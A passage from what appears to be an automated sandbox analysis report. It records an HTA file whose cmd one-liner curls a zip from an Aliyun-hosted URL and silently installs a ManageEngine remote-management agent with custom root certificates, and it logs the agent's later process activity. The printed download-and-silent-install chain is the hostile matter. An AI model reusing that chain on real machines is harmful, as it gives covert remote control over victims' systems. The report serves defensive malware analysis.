Token: SeRestorePrivilege 4608 msiexec.exe Token: SeTakeOwnershipPrivilege 4608 msiexec.exe Token: SeRestorePrivilege 4608 msiexec.exe Token: SeTakeOwnershipPrivilege 4608 msiexec.exe Token: SeRestorePrivilege 4608 msiexec.exe Token: SeTakeOwnershipPrivilege 4608 msiexec.exe Token: SeRestorePrivilege 4608 msiexec.exe Token: SeTakeOwnershipPrivilege 4608 msiexec.exe Token: SeRestorePrivilege 4608 msiexec.exe Token: SeTakeOwnershipPrivilege 4608 msiexec.exe Token: SeRestorePrivilege 4608 msiexec.exe Token: SeTakeOwnershipPrivilege 4608 msiexec.exe Token: SeRestorePrivilege 4608 msiexec.exe Token: SeTakeOwnershipPrivilege 4608 msiexec.exe Token: SeRestorePrivilege 4420 7za.exe Token: 35 4420 7za.exe Token: SeSecurityPrivilege 4420 7za.exe Token: SeSecurityPrivilege 4420 7za.exe Token: SeRestorePrivilege 4620 7za.exe Token: 35 4620 7za.exe Token: SeSecurityPrivilege 4620 7za.exe Token: SeSecurityPrivilege 4620 7za.exe Token: SeDebugPrivilege 1236 dcusbsummary.exe Token: SeDebugPrivilege 4648 dcswmeter.exe Token: SeRestorePrivilege 4608 msiexec.exe Token: SeTakeOwnershipPrivilege 4608 msiexec.exe Token: SeRestorePrivilege 4608 msiexec.exe Token: SeTakeOwnershipPrivilege 4608 msiexec.exe Token: SeRestorePrivilege 4608 msiexec.exe Token: SeTakeOwnershipPrivilege 4608 msiexec.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 1356 msiexec.exe 4608 msiexec.exe 2108 MsiExec.exe 1236 dcusbsummary.exe - Suspicious use of WriteProcessMemory 50 IoCs
description pid Process procid_target PID 4076 wrote to memory of 1528 4076 mshta.exe 89 PID 1528 wrote to memory of 3128 1528 cmd.exe 91 PID 1528 wrote to memory of 1008 1528 cmd.exe 92 PID 1528 wrote to memory of 4868 1528 cmd.exe 93 PID 1528 wrote to memory of 1356 1528 cmd.exe 94 PID 4608 wrote to memory of 2108 4608 msiexec.exe 96 PID 4608 wrote to memory of 4132 4608 msiexec.exe 97 PID 4132 wrote to memory of 3580 4132 dcagentregister.exe 98 PID 3580 wrote to memory of 1824 3580 cmd.exe 100 PID 1824 wrote to memory of 5148 1824 net.exe 101 PID 3580 wrote to memory of 4552 3580 cmd.exe 102 PID 3580 wrote to memory of 4344 3580 cmd.exe 103 PID 3580 wrote to memory of 3156 3580 cmd.exe 105 PID 3580 wrote to memory of 2632 3580 cmd.exe 106 PID 3580 wrote to memory of 3480 3580 cmd.exe 107 PID 3296 wrote to memory of 3816 3296 UEMSAgentHealthChecker.exe 109 PID 3296 wrote to memory of 5356 3296 UEMSAgentHealthChecker.exe 111 PID 3296 wrote to memory of 3384 3296 UEMSAgentHealthChecker.exe 113 PID 4132 wrote to memory of 2092 4132 dcagentregister.exe 115 PID 2092 wrote to memory of 4420 2092 cmd.exe 117 PID 4132 wrote to memory of 4620 4132 dcagentregister.exe 121 PID 4132 wrote to memory of 2312 4132 dcagentregister.exe 123 PID 2312 wrote to memory of 4724 2312 cmd.exe 125 PID 4132 wrote to memory of 3480 4132 dcagentregister.exe 128 PID 5396 wrote to memory of 5968 5396 dcagentservice.exe 131 PID 5396 wrote to memory of 1236 5396 dcagentservice.exe 133 PID 5396 wrote to memory of 2512 5396 dcagentservice.exe 134 PID 1236 wrote to memory of 5324 1236 dcusbsummary.exe 136 PID 5396 wrote to memory of 3940 5396 dcagentservice.exe 138 PID 5396 wrote to memory of 5140 5396 dcagentservice.exe 140 PID 5396 wrote to memory of 4648 5396 dcagentservice.exe 142 PID 5396 wrote to memory of 1892 5396 dcagentservice.exe 144 PID 5396 wrote to memory of 4992 5396 dcagentservice.exe 146 PID 1528 wrote to memory of 3716 1528 cmd.exe 148 PID 4992 wrote to memory of 3340 4992 dcconfig.exe 149 PID 5396 wrote to memory of 3680 5396 dcagentservice.exe 151 PID 4992 wrote to memory of 4940 4992 dcconfig.exe 152 PID 4992 wrote to memory of 5024 4992 dcconfig.exe 154 PID 4992 wrote to memory of 1404 4992 dcconfig.exe 156 PID 1404 wrote to memory of 3320 1404 cmd.exe 177 PID 4992 wrote to memory of 4912 4992 dcconfig.exe 159 PID 4992 wrote to memory of 1936 4992 dcconfig.exe 161 PID 4992 wrote to memory of 952 4992 dcconfig.exe 163 PID 4992 wrote to memory of 5084 4992 dcconfig.exe 165 PID 4992 wrote to memory of 2812 4992 dcconfig.exe 167 PID 4992 wrote to memory of 1828 4992 dcconfig.exe 169 PID 4992 wrote to memory of 5416 4992 dcconfig.exe 171 PID 4992 wrote to memory of 6132 4992 dcconfig.exe 173 PID 4992 wrote to memory of 1132 4992 dcconfig.exe 175 PID 4992 wrote to memory of 3320 4992 dcconfig.exe 177 - cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 7 curl/8.8.0
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\20261027143331.ECB8AC35.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4076 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" 2>nul & echo Installing... > "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" && curl -L -o "%TEMP%\file_6MOQLVLA.zip" "https://win10pc.oss-cn-hongkong.aliyuncs.com/JPLocalOffice.zip" && if not exist "%TEMP%\extracted_6MOQLVLA" mkdir "%TEMP%\extracted_6MOQLVLA" 2>nul && tar -xf "%TEMP%\file_6MOQLVLA.zip" -C "%TEMP%\extracted_6MOQLVLA" && cd /d "%TEMP%\extracted_6MOQLVLA" && start /wait msiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="%cd%\DMRootCA-Server.crt" DS_ROOT_CRT="%cd%\DMRootCA.crt" && timeout /t 3 /nobreak >nul && cd /d "%TEMP%" && del /f /q "file_6MOQLVLA.zip" && rd /s /q "extracted_6MOQLVLA" && del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1528 -
C:\Windows\SysWOW64\cmd.execmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"3⤵
- System Location Discovery: System Language Discovery
PID:3128
-
-
C:\Windows\SysWOW64\curl.execurl -L -o "C:\Users\Admin\AppData\Local\Temp\file_6MOQLVLA.zip" "https://win10pc.oss-cn-hongkong.aliyuncs.com/JPLocalOffice.zip"3⤵
- System Location Discovery: System Language Discovery
PID:1008
-
-
C:\Windows\SysWOW64\tar.exetar -xf "C:\Users\Admin\AppData\Local\Temp\file_6MOQLVLA.zip" -C "C:\Users\Admin\AppData\Local\Temp\extracted_6MOQLVLA"3⤵PID:4868
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA.crt"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1356
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 3 /nobreak3⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:3716
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5CE72020ABC6F4E90ABAC2E695778C262⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2108
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4132 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Windows\SysWOW64\net.exenet session4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session5⤵
- System Location Discovery: System Language Discovery
PID:5148
-
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4552
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /grant:r "CZIEFEEQ\Admin":(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4344
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3156
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2632
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3480
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4420
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4620
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe4⤵
- System Location Discovery: System Language Discovery
- Gathers system information
PID:4724
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3480
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3296 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 12⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3816
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 22⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5356
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 42⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3384
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:1864
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5396 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exeCRU_Reporter.exe -RegisterCRU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5968
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:5324
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2512
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3940
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:5140
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4648
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1892
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4992 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -p processor compatibility3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3340
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exerefresh3⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:4940
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\\OSDetection.json.gz" OSDetection.json3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5024
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml3652.tmp" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml3652.tmpnew""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1404 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml3652.tmp" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3320
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4912
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1936
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:952
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5084
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:2812
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1828
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5416
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6132
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1132
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3320
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *3⤵PID:5636
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *3⤵PID:4144
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchtodepfiles.xml.gz" *3⤵PID:4048
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\EPMErrorCodes.xml.gz" *3⤵PID:5260
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-dependency-details.xml.gz" *3⤵PID:3972
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\ud-supported-patch-details.json.gz" *3⤵PID:2604
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.json.gz" *3⤵PID:4664
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.json.gz" *3⤵PID:3948
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\eol-service-packs.json.gz" *3⤵PID:3456
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\os-servicing-data.json.gz" *3⤵PID:4636
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\running-exe-checks.json.gz" *3⤵PID:2300
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\misconfig-scan-data.xml.gz" *3⤵PID:4612
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" *3⤵PID:3540
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll3⤵PID:1280
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-scan-data\windows-component-details.zip" *3⤵PID:2788
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json""3⤵
- Executes a command shell one-liner
PID:1952 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so4⤵PID:572
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json""3⤵
- Executes a command shell one-liner
PID:4128 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so4⤵PID:4048
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json""3⤵
- Executes a command shell one-liner
PID:420 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so4⤵PID:5324
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json""3⤵
- Executes a command shell one-liner
PID:3984 -
